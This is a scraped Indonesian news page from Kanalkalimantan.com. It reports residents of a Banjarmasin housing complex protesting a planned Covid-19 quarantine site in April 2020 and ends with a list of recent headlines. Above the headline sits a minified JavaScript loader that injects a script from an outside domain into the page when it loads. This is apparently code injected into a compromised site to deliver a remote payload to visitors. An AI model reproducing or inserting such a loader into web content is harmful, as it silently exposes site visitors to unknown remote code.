(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Warga Komplek Kayu Tangi II ‘Demo’ Tolak Balai Diklat jadi Tempat Karantina Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Puluhan warga Komplek Kayu Tangi II, Jalan Brigjen H. Hasan Basry Kelurahan Pangeran, Banjarmasin berkumpul pada Selasa (7/4/2020) malam. Mereka menolak rencana Kantor Balai Diklat Pemko Banjarmasin dijadikan pusat karantina untuk Covid-19 di Kota Banjarmasin.

Menurut warga setempat bernama Fauzi, masyarakat di kompleknya kaget begitu mendapatkan informasi kantor balai yang masuk di wilayah Komplek Kayu Tangi II dijadikan pusat karantina orang dalam pemantauan (ODP) maupun pasien dalam pengawasan (PDP). Fauzi menyebut, tidak ada sosialisasi dari Pemko Banjarmasin kepada masyarakat setempat.

“Justru ketua RT setempat bingung, masyarakat di sini yang mendatangi ketua RT. Gedung ini digunakan untuk apa,” kata Fauzi kepada awak media. Ia mengklaim, aksi ini merupakan bentuk keluhan masyarakat yang sifatnya spontanitas. Fauzi mengeluhkan, penggunaan gedung untuk karantina ini seolah-olah dirahasiakan. “Ketua RT tidak bisa memberikan jawaban apa-apa, sedangkan Banjarmasin Utara sudah zona merah,” ungkapnya.

Ia bersama rekan-rekannya pun sudah mengkonfirmasi kepada pihak kecamatan dan kelurahan. Sayang, Fauzi mengeluhkan, keduanya tidak memberikan jawaban yang memuaskan. “Kami bersama masyarakat setempat berinisiatif untuk memblokir wilayah ini. Mudah-mudahan menjadi perhatian Pemko Banjarmasin dan Gugus Tugas P3 Covid-19 Kota Banjarmasin,” ucap Fauzi.

Fauzi bersama warga di Komplek Kayu Tangi II secara tegas menolak penggunaan gedung yang masuk wilayah komplek perumahan ini tetap digunakan sebagai tempat karantina, baik untuk ODP maupun PDP. Terutama berada di kawasan pemukiman penduduk. “Berdasarkan peraturan yang kita ketahui, untuk tempat perawatan itu harus ada persetujuan warga sekitar. Sementara warga sekitar tidak menerima itu,” tandasnya. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

9 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

9 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

9 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

10 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

10 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

11 jam ago

This website uses cookies.